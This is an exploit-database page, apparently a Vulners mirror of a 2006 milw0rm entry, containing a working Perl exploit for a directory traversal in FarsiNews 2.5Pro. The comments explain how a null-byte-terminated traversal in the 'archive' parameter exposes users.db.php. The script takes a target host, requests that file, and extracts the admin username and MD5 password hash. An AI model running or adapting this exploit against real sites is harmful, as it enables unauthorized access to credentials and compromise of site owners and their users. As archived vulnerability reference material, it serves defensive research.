Lucene search
K

farsinews <= 2.5 - Directory Traversal arbitrary (users.db) access exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

FarsiNews 2.5 - Directory Traversal arbitrary (users.db) access exploit by Hessam-

Code

                                                #!/usr/bin/perl
#
# FarsiNews 2.5pro Show User&Passowrd
# Exploit by Hessam-x (www.hessamx.net)
#
#
######################################################
#  ___ ___                __                         #
# /   |   \_____    ____ |  | __ ___________________ #
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   / #
#\    Y    // __ \\  \___|    &#60;\  ___/|  | \//    /  #
# \___|_  /(____  /\___  &#62;__|_ \\___  &#62;__|  /_____ \ #
#       \/      \/     \/     \/    \/            \/ #
#             Iran Hackerz Security Team             #
#               WebSite: www.hackerz.ir              #
#                                                    #
######################################################
# Description                                        #
#                                                    #
# Name    : FarsiNews [www.farsinewsteam.com]        #
# version : 2.5Pro                                   #
######################################################
# in FarsiNews if you change the archive value :
# http://localhost/index.php?archive=hamid
# see :
# Warning: file([PATH]/data/archives/hamid.news.arch.php):
# failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 642
# Warning: file([PATH]/data/archives/hamid.comments.arch.php):
# failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 686
# ...[and many other error]
# it means that shows.inc.php  try to open  &#39;/archives/hamid.news.arch.php&#39;  (and also &#39;hamid.comments.arch.php&#39;)  to read it&#39;s data .
# we can change the archive value to &#39;/../users.db.php%00&#39; to see all username and password .
# Exploit :
# http://localhost/index.php?archive=/../users.db.php%00
# http://localhost/Farsi1/index.php?archive=/../[file-to-read]%00
# F0und by hamid
use LWP::Simple;

print &#34;-------------------------------------------\n&#34;;
print &#34;=             Farsinews 2.5Pro            =\n&#34;;
print &#34;=       By Hessam-x  - www.hackerz.ir     =\n&#34;;
print &#34;-------------------------------------------\n\n&#34;;


       print &#34;Target(www.example.com)\&#62; &#34;;
       chomp($targ = &#60;STDIN&#62;);

       print &#34;Path: (/fn25/)\&#62;&#34;;
       chomp($path=&#60;STDIN&#62;);

$url = &#34;index.php?archive=/../users.db.php%00&#34;;
$page = get(&#34;http://&#34;.$targ.$path.$url) || die &#34;[-] Unable to retrieve: $!&#34;;
print &#34;[+] Connected to: $targ\n&#34;;

$page =~ m/&#60;img alt=&#34;(.*?)&#34; src=/ && print &#34;[+] Username:\n $1\n&#34;;
$page =~ m/style=&#34;border: none;&#34; align=&#34;right&#34; \/&#62;(.*?)&#60;\/font&#62;/ && print &#34;[+] MD5 Password:\n $1\n&#34;;

print &#34;[-] Unable to retrieve User ID\n&#34; if(!$1);

# milw0rm.com [2006-02-28]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation